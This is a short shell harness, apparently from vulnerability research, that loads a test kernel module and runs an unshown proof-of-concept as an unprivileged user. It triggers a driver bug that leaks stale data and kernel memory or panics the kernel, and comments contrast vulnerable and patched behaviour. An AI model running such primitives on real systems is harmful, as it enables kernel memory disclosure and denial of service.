#!/bin/sh
# DF-2979 run: load module (root, one-time setup) then trigger as
# UNPRILEGED user. Run ON THE GUEST.
#
#   ./run.sh 1   # T1: stale-content disclosure on a FAILED read
#   ./run.sh 2   # T2: stale-resid underflow -> oversized copyout (may panic)
#
# Expected (vulnerable kernel):
#   T1: read() returns -1/EIO, buffer contains prior transfer's bytes -> LEAK
#   T2: read() returns error after copying kernel bytes far beyond 512 bytes
#       into the user mapping (kernel-pointer-shaped qwords visible), or the
#       kernel panics -- both prove the primitive.
# Expected (kernel with fix.diff): T1 buffer stays zeroed; T2 copies nothing
#       beyond 512 zero bytes; both reads still fail with EIO.
set -e
[ $# -ge 1 ] || { echo "usage: run.sh 1|2"; exit 2; }
if [ "$(id -u)" = "0" ]; then
	kldload -n ./dfp.ko 2>/dev/null || kldload ./dfp.ko
	ls -l /dev/dfp
	chmod 755 .
	exec su -m nobody -c "./poc $1"
fi
exec ./poc "$1"